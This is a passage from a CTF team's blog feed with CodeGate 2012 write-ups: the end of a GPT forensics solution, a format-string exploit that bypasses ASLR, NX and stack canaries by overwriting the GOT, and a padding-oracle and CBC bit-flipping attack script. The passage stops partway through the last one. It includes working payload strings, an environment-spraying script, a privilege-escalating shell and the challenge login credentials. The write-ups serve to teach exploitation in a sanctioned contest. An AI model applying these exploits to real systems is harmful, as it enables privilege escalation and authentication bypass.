    <span style="color: #993333;">char</span> padding<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">420</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #993333;">struct</span> gpt_partition partitions<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>GPT partititon entry structure:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">struct</span> gpt_partition <span style="color: #009900;">&#123;</span>
    GUID type_guid<span style="color: #339933;">;</span>
    GUID partition_guid<span style="color: #339933;">;</span>
    <span style="color: #993333;">uint64_t</span> first_lba<span style="color: #339933;">;</span>
    <span style="color: #993333;">uint64_t</span> last_lba<span style="color: #339933;">;</span>
    <span style="color: #993333;">uint64_t</span> flags<span style="color: #339933;">;</span>
    <span style="color: #993333;">wchar_t</span> partition_label<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">36</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Using these structures, 4 partition entries can be found:</p>
<ul>
<li>GUID 2B8026604DAD0547B9B1BF81BDD2CAC7, label &#8220;EFI System Partition&#8221;</li>
<li>GUID 9996F83677E0E046A7FCD7206ECE9F1C, label &#8220;System&#8221;</li>
<li>GUID 69BCD73BDCD8E5489C44FF2A0F26F1CD, label &#8220;Recovery HD&#8221;</li>
<li>GUID A7CD84F394F63A4EACE7BF40EE99E551, label &#8220;Secure&#8221;</li>
</ul>
<p>Xor GUID together to get the flag: <strong>7C678D9E72633A072EEE28CB32A34147</strong></p>
<h3>Bonus</h3>
<p>For users of awesome 010 Editor, I&#8217;ve also written templates that automatically parse EWF and GPT into a nice tree:</p>
<ul>
<li>Download <a href="http://leetmore.ctf.su/wp-content/uploads/files/codegate2012/for500/EWFTemplate.bt">EWF Template</a></li>
<li>Download <a href="http://leetmore.ctf.su/wp-content/uploads/files/codegate2012/for500/GPTTemplate.bt">GPT Template</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://leetmore.ctf.su/wp/codegate-2012-quals-forensic-500-write-up/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CodeGate 2012 Quals Vuln500 Write-up</title>
		<link>http://leetmore.ctf.su/wp/codegate-2012-quals-vuln500-write-up/</link>
		<comments>http://leetmore.ctf.su/wp/codegate-2012-quals-vuln500-write-up/#comments</comments>
		<pubDate>Sun, 26 Feb 2012 14:10:30 +0000</pubDate>
		<dc:creator>vos</dc:creator>
				<category><![CDATA[Writeups]]></category>
		<category><![CDATA[2012]]></category>
		<category><![CDATA[aslr]]></category>
		<category><![CDATA[binary]]></category>
		<category><![CDATA[codegate]]></category>
		<category><![CDATA[cookie]]></category>
		<category><![CDATA[CTB]]></category>
		<category><![CDATA[formatstring]]></category>
		<category><![CDATA[nx]]></category>
		<category><![CDATA[quals]]></category>
		<category><![CDATA[stack]]></category>
		<category><![CDATA[writeup]]></category>

		<guid isPermaLink="false">http://leetmore.ctf.su/?p=2268</guid>
		<description><![CDATA[1.234.41.7:22 ID : yesMan PWD : ohyeah123 Download vulnerable binary. Vuln500 was a hardened format-string vuln with ASLR, NX-stack, no-DTORs, RO .dynamic The vuln Simple format-string vulnerability: yesMan@ubuntu:~$ ./X 'hello %p %p %p %p %p' hello 0xbfdedea6 0x100 0x804825c 0xb7846b48 0xbfde0002 The obstacles But it&#8217;s not that easy to exploit: Non-executable stack: root@bt:~/Desktop# execstack X.bin&#8230; <a class="continue_reading" href="http://leetmore.ctf.su/wp/codegate-2012-quals-vuln500-write-up/">Continue reading &#187;</a>]]></description>
			<content:encoded><![CDATA[<blockquote><p>1.234.41.7:22 </p>
<p>ID : yesMan<br />
PWD : ohyeah123</p></blockquote>
<p>Download <a href="http://leetmore.ctf.su/wp-content/uploads/files/codegate2012/vuln500/X.bin">vulnerable binary</a>.</p>
<p>Vuln500 was a hardened format-string vuln with <b>ASLR</b>, <b>NX-stack</b>, <b>no-DTORs</b>, <b>RO .dynamic</b><br />
<span id="more-2268"></span></p>
<h3>The vuln</h3>
<p><img src="http://leetmore.ctf.su/wp-content/uploads/2012/02/vuln500-main.png" alt="" /></p>
<p>Simple format-string vulnerability:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">yesMan<span style="color: #000000; font-weight: bold;">@</span>ubuntu:~$ .<span style="color: #000000; font-weight: bold;">/</span>X <span style="color: #ff0000;">'hello %p %p %p %p %p'</span>
hello 0xbfdedea6 0x100 0x804825c 0xb7846b48 0xbfde0002</pre></div></div>

<h3>The obstacles</h3>
<p>But it&#8217;s not that easy to exploit:</p>
<ul style='margin-bottom:0'>
<li style='margin-bottom:0'><b>Non-executable stack:</b></li>
</ul>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">root<span style="color: #000000; font-weight: bold;">@</span>bt:~<span style="color: #000000; font-weight: bold;">/</span>Desktop<span style="color: #666666; font-style: italic;"># execstack X.bin </span>
- X.bin</pre></div></div>

<p>We&#8217;ll use <b>ret2libc</b> technique instead of jumping on stack.</p>
<ul style='margin-bottom:0'>
<li style='margin-bottom:0'><b>ASLR turned on:</b></li>
</ul>
<pre style='background:#F3F3F3;border:1px solid #E3E3E3;overflow:auto'><b><font color=darkred>Libc ASLR:</font></b>
yesMan@ubuntu:~$ ldd ./X
        linux-gate.so.1 =>  (0xb78b0000)
        libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (<font color=red>0xb7750000</font>)
        /lib/ld-linux.so.2 (0xb78b1000)
yesMan@ubuntu:~$ ldd ./X
        linux-gate.so.1 =>  (0xb7769000)
        libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (<font color=red>0xb7609000</font>)
        /lib/ld-linux.so.2 (0xb776a000)

<b><font color=darkred>Stack ASLR:</font></b>
yesMan@ubuntu:/tmp/v$ gdb -q --args ~/X
Reading symbols from /home/yesMan/X...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x8048477
(gdb) r
Starting program: /home/yesMan/X

Breakpoint 1, 0x08048477 in main ()
(gdb) p/x $esp
$1 = <font color=red>0xbfb27aa8</font>
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/yesMan/X

Breakpoint 1, 0x08048477 in main ()
(gdb) p/x $esp
$2 = <font color=red>0xbfdb3818</font></pre>
<p>Partially circumventable using <strong>ulimit -s unlimited</strong>:</p>
<pre style='background:#F3F3F3;border:1px solid #E3E3E3;overflow:auto'>yesMan@ubuntu:~$ ulimit -s unlimited
yesMan@ubuntu:~$ ldd ./X
        linux-gate.so.1 =>  (0x4001d000)
        libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (<font color=green>0x40024000</font>)
        /lib/ld-linux.so.2 (0x40000000)
yesMan@ubuntu:~$ ldd ./X
        linux-gate.so.1 =>  (0x4001d000)
        libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (<font color=green>0x40024000</font>)
        /lib/ld-linux.so.2 (0x40000000)
</pre>
<ul style='margin-bottom:0'>
<li style='margin-bottom:0'><b>Non-exploitable DTOR fashion:</b></li>
</ul>
<p><img src="http://leetmore.ctf.su/wp-content/uploads/2012/02/vuln500-dtors.png" alt="" /></p>
<p>Hard-coded <strong>_DTOR_END__</strong>, and no DTORs present.</p>
<ul style='margin-bottom:0'>
<li><b>Read-only .dynamic section and _fini pointer.</b></li>
<li><b>However, GOT is <font color=darkgreen>writable</font> at run time.</strong></b></li>
</ul>
<h3>Taking over the control</h3>
<p>With writable <strong>GOT</strong> we can transfer the execution to any address by overwriting an imported library function address. But, after <strong>printf</strong> no foreign functions are executed under normal conditions. The only opportunity to exploit GOT overwrite is to corrupt <strong>stack canary</strong> and get <strong>__stack_chk_fail</strong> called.</p>
<p>We have two ways to force <strong>__stack_chk_fail</strong> executed:</p>
<ul>
<li>Overwrite local <strong>STK_COOKIE</strong> variable at <strong>[ebp - 0x14]</strong></li>
<li><strong>Overwrite saved etalon stack cookie at <em>gs:[0x14]</em></strong></li>
</ul>
<p>First way is very unreliable because of <strong>stack ASLR</strong>. It involves overwriting several addresses at stack with garbage, hoping that we match with current randomized stack address and <strong>STK_COOKIE</strong> gets overwritten. It&#8217;s a way to go if we have a spare 30 minutes for bruteforcing stack ASLR.</p>
<p><strong>Second way</strong> is more interesting, because it provides 100% exploit reliability.</p>
<h3>Flat Memory Model</h3>
<p>When the CPU runs across a segment selector (<strong>gs:</strong> is one) in flat memory model, it reads <strong>LDT</strong> to find the segment&#8217;s <strong>base address</strong>, and simply adds up that base and offset specified to get linear memory address to work with.</p>
<p><strong>cs:</strong> and <strong>ds:</strong> (default segments) normally have base of <strong>0&#215;0</strong>, so reading from <strong>gs:[0x14]</strong> is equal to reading from <strong>ds:[base_of_GS + 0x14]</strong></p>
<p>To get base of <strong>GS</strong> I used getting a core dump and then analyzing it with <strong>eu-readelf</strong> (package <em>elfutils</em>):</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">yesMan<span style="color: #000000; font-weight: bold;">@</span>ubuntu:<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>v$ <span style="color: #7a0874; font-weight: bold;">ulimit</span> <span style="color: #660033;">-c</span> <span style="color: #000000;">1024</span>
yesMan<span style="color: #000000; font-weight: bold;">@</span>ubuntu:<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>v$ <span style="color: #c20cb9; font-weight: bold;">cp</span> ~<span style="color: #000000; font-weight: bold;">/</span>X .<span style="color: #000000; font-weight: bold;">/</span>
yesMan<span style="color: #000000; font-weight: bold;">@</span>ubuntu:<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>v$ .<span style="color: #000000; font-weight: bold;">/</span>X <span style="color: #ff0000;">'%n%n%n%n'</span>
Segmentation fault <span style="color: #7a0874; font-weight: bold;">&#40;</span>core dumped<span style="color: #7a0874; font-weight: bold;">&#41;</span>
&nbsp;
root<span style="color: #000000; font-weight: bold;">@</span>bt:~<span style="color: #000000; font-weight: bold;">/</span>Desktop<span style="color: #666666; font-style: italic;"># eu-readelf -a core.dump</span>
<span style="color: #000000; font-weight: bold;">&lt;</span>...<span style="color: #000000; font-weight: bold;">&gt;</span>
  LINUX                 <span style="color: #000000;">48</span>  <span style="color: #000000;">386</span>_TLS
    index: <span style="color: #000000;">6</span>, base: 0x4017e6c0, limit: 0x000fffff, flags: 0x00000051
    index: <span style="color: #000000;">7</span>, base: 0x00000000, limit: 0x00000000, flags: 0x00000028
    index: <span style="color: #000000;">8</span>, base: 0x00000000, limit: 0x00000000, flags: 0x00000028</pre></div></div>

<p><strong>gs:</strong> segment base address is <strong>0x4017e6c0</strong>, so saved stack cookie resides at <strong>0x4017e6d4</strong>.</p>
<h3>The exploit</h3>
<p>Steps to get a shell:<br />
1. Overwrite saved stack cookie with some trash<br />
2. Overwrite <strong>__stack_chk_fail</strong> at GOT with address of <strong>system@glibc</strong><br />
3. Check what is the argument to <strong>system()</strong> and give that name to our malicious executable</p>
<p><br/></p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">gdb</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> p<span style="color: #000000; font-weight: bold;">/</span>x <span style="color: #000000; font-weight: bold;">&amp;</span>system
<span style="color: #007800;">$1</span> = 0x4005d100</pre></div></div>

<p><strong>system@glibc</strong> is at <strong>0x4005d100</strong></p>
<p><img src="http://leetmore.ctf.su/wp-content/uploads/2012/02/vuln500-got.png" alt="" /><br />
Imported <strong>__stack_chk_fail</strong> address should be overwritten at <strong>0x0804a010</strong></p>
<p>Addresses for overwriting can be passed to <strong>printf</strong> via env. We need a script to run the executable with modified environment, that we spray with 3 addresses that we need to overwrite:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/bin/sh</span>
<span style="color: #c20cb9; font-weight: bold;">env</span> <span style="color: #660033;">-i</span> <span style="color: #ff0000;">&quot;PATH=.:<span style="color: #007800;">$PATH</span>&quot;</span> <span style="color: #ff0000;">&quot;A=<span style="color: #780078;">`perl -e'print&quot;\xd4\xe6\x17\x40&quot;x5000;print&quot;\x10\xa0\x04\x08&quot;x5000;print&quot;\x12\xa0\x04\x08&quot;x5000;'`</span>&quot;</span> <span style="color: #007800;">$1</span> <span style="color: #007800;">$2</span> <span style="color: #007800;">$3</span> <span style="color: #007800;">$4</span> <span style="color: #007800;">$5</span> <span style="color: #007800;">$6</span> <span style="color: #007800;">$7</span> <span style="color: #007800;">$8</span> <span style="color: #007800;">$9</span></pre></div></div>

<p>Let&#8217;s check our <strong>gs:</strong> stack cookie overwrite trick:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">yesMan<span style="color: #000000; font-weight: bold;">@</span>ubuntu:<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>v$ .<span style="color: #000000; font-weight: bold;">/</span>r <span style="color: #c20cb9; font-weight: bold;">ltrace</span> ~<span style="color: #000000; font-weight: bold;">/</span>X <span style="color: #ff0000;">'%2500$n'</span>
__libc_start_main<span style="color: #7a0874; font-weight: bold;">&#40;</span>0x8048474, <span style="color: #000000;">2</span>, 0xbf881f64, 0x8048520, 0x8048510 <span style="color: #000000; font-weight: bold;">&lt;</span>unfinished ...<span style="color: #000000; font-weight: bold;">&gt;</span>
strncpy<span style="color: #7a0874; font-weight: bold;">&#40;</span>0xbf881d9c, <span style="color: #ff0000;">&quot;%2500<span style="color: #007800;">$n</span>&quot;</span>, <span style="color: #000000;">256</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #7a0874; font-weight: bold;">printf</span><span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #ff0000;">&quot;%2500<span style="color: #007800;">$n</span>&quot;</span>, 0xbf882533<span style="color: #7a0874; font-weight: bold;">&#41;</span>
__stack_chk_fail<span style="color: #7a0874; font-weight: bold;">&#40;</span>0xbf881d9c, 0xbf882533, <span style="color: #000000;">256</span>, 0x804825c, 0x4001fb48
<span style="color: #000000; font-weight: bold;">***</span> stack smashing detected <span style="color: #000000; font-weight: bold;">***</span>: <span style="color: #000000; font-weight: bold;">/</span>home<span style="color: #000000; font-weight: bold;">/</span>yesMan<span style="color: #000000; font-weight: bold;">/</span>X terminated</pre></div></div>

<p>Works like a charm! We tricked the binary into believing we smashed the stack.<br />
Now we add GOT overwriting:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">yesMan<span style="color: #000000; font-weight: bold;">@</span>ubuntu:<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>v$ .<span style="color: #000000; font-weight: bold;">/</span>r ~<span style="color: #000000; font-weight: bold;">/</span>X <span style="color: #ff0000;">'%2500$n%53504d%7500$hn%28421d%12500$hn'</span> <span style="color: #000000;">1</span><span style="color: #000000; font-weight: bold;">&gt;/</span>dev<span style="color: #000000; font-weight: bold;">/</span>null
<span style="color: #c20cb9; font-weight: bold;">sh</span>: <span style="color: #000000; font-weight: bold;">%</span>2500<span style="color: #000000; font-weight: bold;">%</span>53504d<span style="color: #000000; font-weight: bold;">%</span>7500<span style="color: #000000; font-weight: bold;">%</span>28421d<span style="color: #000000; font-weight: bold;">%</span>12500: not found</pre></div></div>

<p>Great! <strong>system()</strong> gets executed, and sh conveniently tells us what binary it is missing. Let&#8217;s give it what it wants ;-)</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">yesMan<span style="color: #000000; font-weight: bold;">@</span>ubuntu:<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>v$ <span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">%</span>2500<span style="color: #000000; font-weight: bold;">%</span>53504d<span style="color: #000000; font-weight: bold;">%</span>7500<span style="color: #000000; font-weight: bold;">%</span>28421d<span style="color: #000000; font-weight: bold;">%</span>12500
<span style="color: #666666; font-style: italic;">#!/bin/sh</span>
<span style="color: #c20cb9; font-weight: bold;">bash</span> <span style="color: #660033;">-p</span>
yesMan<span style="color: #000000; font-weight: bold;">@</span>ubuntu:<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>v$ <span style="color: #c20cb9; font-weight: bold;">chmod</span> +x <span style="color: #000000; font-weight: bold;">%</span>2500<span style="color: #000000; font-weight: bold;">%</span>53504d<span style="color: #000000; font-weight: bold;">%</span>7500<span style="color: #000000; font-weight: bold;">%</span>28421d<span style="color: #000000; font-weight: bold;">%</span>12500
yesMan<span style="color: #000000; font-weight: bold;">@</span>ubuntu:<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>v$ .<span style="color: #000000; font-weight: bold;">/</span>r ~<span style="color: #000000; font-weight: bold;">/</span>X <span style="color: #ff0000;">'%2500$n%53504d%7500$hn%28421d%12500$hn'</span> <span style="color: #000000;">1</span><span style="color: #000000; font-weight: bold;">&gt;/</span>dev<span style="color: #000000; font-weight: bold;">/</span>null
bash-<span style="color: #000000;">4.1</span>$ <span style="color: #c20cb9; font-weight: bold;">id</span> <span style="color: #000000; font-weight: bold;">&gt;&amp;</span><span style="color: #000000;">2</span>
<span style="color: #007800;">uid</span>=<span style="color: #000000;">1001</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>yesMan<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">gid</span>=<span style="color: #000000;">1001</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>yesMan<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">euid</span>=<span style="color: #000000;">1002</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>yesMan2<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">groups</span>=<span style="color: #000000;">1001</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>yesMan<span style="color: #7a0874; font-weight: bold;">&#41;</span>
bash-<span style="color: #000000;">4.1</span>$ _</pre></div></div>

<p><font color=darkred><strong>Pwned!</strong></font></p>
<pre style='background:#F3F3F3;border:1px solid #E3E3E3;overflow:auto'>bash-4.1$ cat /home/yesMan/password >&#038;2
<font color=red><b>Format_String_Bug_Hunter!@#$</b></font></pre>
<p>Flag is <b>Format_String_Bug_Hunter!@#$</b></p>
]]></content:encoded>
			<wfw:commentRss>http://leetmore.ctf.su/wp/codegate-2012-quals-vuln500-write-up/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>CodeGate 2012 Quals &#8211; Vuln 400</title>
		<link>http://leetmore.ctf.su/wp/codegate-2012-quals-vuln-400/</link>
		<comments>http://leetmore.ctf.su/wp/codegate-2012-quals-vuln-400/#comments</comments>
		<pubDate>Sun, 26 Feb 2012 12:30:11 +0000</pubDate>
		<dc:creator>hellman</dc:creator>
				<category><![CDATA[Writeups]]></category>
		<category><![CDATA[2012]]></category>
		<category><![CDATA[400]]></category>
		<category><![CDATA[codegate]]></category>
		<category><![CDATA[crypto]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[padding oracle]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[quals]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://leetmore.ctf.su/?p=2270</guid>
		<description><![CDATA[Here&#8217;s a web-based crypto challenge. Summary: padding oracle attack, bit flipping We are given a bunch of &#8216;citizen&#8217; certificates. Our aim is to login as &#8216;king&#8217;. Let&#8217;s analyze the certificate: M8EdPtY517M=cACNHQhdH/I= Looks like it&#8217;s a splitted pair of base64: $ echo M8EdPtY517M= &#124; base64 -d &#124; xxd 0000000: 33c1 1d3e d639 d7b3 3..&#62;.9.. $ echo&#8230; <a class="continue_reading" href="http://leetmore.ctf.su/wp/codegate-2012-quals-vuln-400/">Continue reading &#187;</a>]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s a web-based crypto challenge.</p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/02/vuln400.png"><img src="http://leetmore.ctf.su/wp-content/uploads/2012/02/vuln400.png" alt="" title="vuln400" width="349" height="124" class="alignnone size-full wp-image-2275" /></a></p>
<p><strong>Summary:</strong> padding oracle attack, bit flipping</p>
<p><span id="more-2270"></span></p>
<p>We are given a bunch of &#8216;citizen&#8217; certificates. Our aim is to login as &#8216;king&#8217;. Let&#8217;s analyze the certificate:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;">M8EdPtY517M<span style="color: #339933;">=</span>cACNHQhdH<span style="color: #339933;">/</span>I<span style="color: #339933;">=</span></pre></div></div>

<p>Looks like it&#8217;s a splitted pair of base64:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #007800;">M8EdPtY517M</span>= <span style="color: #000000; font-weight: bold;">|</span> base64 <span style="color: #660033;">-d</span> <span style="color: #000000; font-weight: bold;">|</span> xxd
0000000: 33c1 1d3e d639 d7b3                      <span style="color: #000000;">3</span>..<span style="color: #000000; font-weight: bold;">&gt;</span>.9..
$ <span style="color: #7a0874; font-weight: bold;">echo</span> cACNHQhdH<span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">I</span>= <span style="color: #000000; font-weight: bold;">|</span> base64 <span style="color: #660033;">-d</span> <span style="color: #000000; font-weight: bold;">|</span> xxd
0000000: <span style="color: #000000;">7000</span> 8d1d 085d 1ff2                      p....<span style="color: #7a0874; font-weight: bold;">&#93;</span>..</pre></div></div>

<p>Let&#8217;s try to change some bits and submit it:<br />
<a href="http://leetmore.ctf.su/wp-content/uploads/files/codegate2012/vuln400submit.py">vuln400submit.py</a></p>
<pre lang = "BASH">
$ py vuln400submit.py '33c11d3ed639d7b3' '70008d1d085d1ff2'
LOG: LOGIN OK
$ py vuln400submit.py '33c11d3ed639d7b0' '70008d1d085d1ff2'
LOG: PADDING ERROR
$ py vuln400submit.py '03c11d3ed639d7b3' '70008d1d085d1ff2'
LOG: CLASS ERROR
</pre>
<p>Oh, we see some errors. But the most interesting is <strong>PADDING ERROR</strong>. It means we have a <strong>padding oracle</strong>, which says if the decrypted message correctly padded.</p>
<p>Usually a correct padding is filling the remaining bytes with the value = count of the remaining bytes. E.g. &#8220;plain&#8221; message in 8-byte block will be padded as &#8220;plain\x03\x03\x03&#8243;.</p>
<p>We changed the last byte in the first block to get padding error, but padding is usually at the end of the message, right? Looks like the second block depends on the ciphertext of the first, which most probably means it&#8217;s CBC chahining mode.</p>
<p>CBC means that the <strong>plaintext</strong> of the second block is xored with the <strong>ciphertext</strong> of the first.</p>
<p>How we can use that?</p>
<p>Let&#8217;s suppose that the second block is &#8220;XXXXXX\x02\x02&#8243;. We can flip some bits in the last byte by xoring the last byte of the first block.<br />
If we xor it with 2 ^ 1 then the last byte of the decrypted message will be 2 ^ 2 ^ 1 = 1 and the padding should be right.<br />
If we xor it with another values (except 0), we&#8217;ll get a PADDING ERROR, because padding will be broken.</p>
<p>By analogy, if the second block is &#8220;XXXXX\x03\x03\x03&#8243;, we won&#8217;t get PADDING ERROR only when we xor with 3 ^ 1.</p>
<p>So, if we xor the last byte with N ^ 1 and we don&#8217;t get PADDING ERROR then the last byte of the plaintext is N.</p>
<p>We can extrapolate this to all byte of the second block, and get a plaintext of it:<br />
<a href="http://leetmore.ctf.su/wp-content/uploads/files/codegate2012/vuln400.py">full script</a></p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;">alpha = <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>01<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>05<span style="color: #000099; font-weight: bold;">\x</span>06<span style="color: #000099; font-weight: bold;">\x</span>07<span style="color: #000099; font-weight: bold;">\x</span>08abcdefghijklmnopqrstuvwxyz&quot;</span>
vals = <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span>
key = <span style="color: #483d8b;">&quot;&quot;</span>
<span style="color: #ff7700;font-weight:bold;">for</span> j <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">xrange</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">8</span><span style="color: black;">&#41;</span>:
	<span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">map</span><span style="color: black;">&#40;</span><span style="color: #008000;">ord</span>, alpha<span style="color: black;">&#41;</span>:
		a = <span style="color: #483d8b;">&quot;33c11d3ed639d7b3&quot;</span>.<span style="color: black;">decode</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;hex&quot;</span><span style="color: black;">&#41;</span>
		b = <span style="color: #483d8b;">&quot;70008d1d085d1ff2&quot;</span>.<span style="color: black;">decode</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;hex&quot;</span><span style="color: black;">&#41;</span>
&nbsp;
		a = <span style="color: #008000;">map</span><span style="color: black;">&#40;</span><span style="color: #008000;">ord</span>, a<span style="color: black;">&#41;</span>
		b = <span style="color: #008000;">map</span><span style="color: black;">&#40;</span><span style="color: #008000;">ord</span>, b<span style="color: black;">&#41;</span>
&nbsp;
		<span style="color: #ff7700;font-weight:bold;">for</span> k <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">xrange</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">7</span>, -<span style="color: #ff4500;">1</span>, -<span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span>:
			a<span style="color: black;">&#91;</span>k<span style="color: black;">&#93;</span> ^= j + <span style="color: #ff4500;">1</span>
			<span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #ff4500;">7</span>-k <span style="color: #66cc66;">&gt;</span>= <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>vals<span style="color: black;">&#41;</span>: <span style="color: #ff7700;font-weight:bold;">continue</span>
			a<span style="color: black;">&#91;</span>k<span style="color: black;">&#93;</span> ^= vals<span style="color: black;">&#91;</span><span style="color: #ff4500;">7</span>-k<span style="color: black;">&#93;</span>
&nbsp;
		a<span style="color: black;">&#91;</span><span style="color: #ff4500;">7</span>-<span style="color: #008000;">len</span><span style="color: black;">&#40;</span>vals<span style="color: black;">&#41;</span><span style="color: black;">&#93;</span> ^= i
		a = <span style="color: #483d8b;">&quot;&quot;</span>.<span style="color: black;">join</span><span style="color: black;">&#40;</span><span style="color: #008000;">map</span><span style="color: black;">&#40;</span><span style="color: #008000;">chr</span>, a<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
		b = <span style="color: #483d8b;">&quot;&quot;</span>.<span style="color: black;">join</span><span style="color: black;">&#40;</span><span style="color: #008000;">map</span><span style="color: black;">&#40;</span><span style="color: #008000;">chr</span>, b<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
&nbsp;
		res = get_result<span style="color: black;">&#40;</span>a, b<span style="color: black;">&#41;</span>
		<span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #483d8b;">&quot;PADDING&quot;</span> <span style="color: #ff7700;font-weight:bold;">not</span> <span style="color: #ff7700;font-weight:bold;">in</span> res:
			vals.<span style="color: black;">append</span><span style="color: black;">&#40;</span>i<span style="color: black;">&#41;</span>
			key = <span style="color: #008000;">chr</span><span style="color: black;">&#40;</span>i<span style="color: black;">&#41;</span> + key
			<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;Got byte:&quot;</span>, key
			<span style="color: #ff7700;font-weight:bold;">break</span></pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ py vuln400.py 
Got byte: 
Got byte: c
Got byte: ic
Got byte: tic
Got byte: itic
Got byte: zitic
Got byte: ezitic
Got byte: nezitic</pre></div></div>

<p>Yeah, it&#8217;s the plaintext! Let&#8217;s remember our goal: we need to login as <strong>&#8220;king&#8221;</strong>. It&#8217;s easy: we need second block to be <strong>&#8220;gnik\x04\x04\x04\x04&#8243;</strong>.</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #483d8b;">&quot;gnik<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>04&quot;</span> -<span style="color: #66cc66;">&gt;</span> 0x676e696b04040404
<span style="color: #483d8b;">&quot;nezitic<span style="color: #000099; font-weight: bold;">\x</span>01&quot;</span> -<span style="color: #66cc66;">&gt;</span> 0x6e657a6974696301
0x33c11d3ed639d7b3 ^ 0x676e696b04040404 ^ 0x6e657a6974696301 = 0x3aca0e3ca654b0b6</pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">base64</span> <span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #66cc66;">*</span>
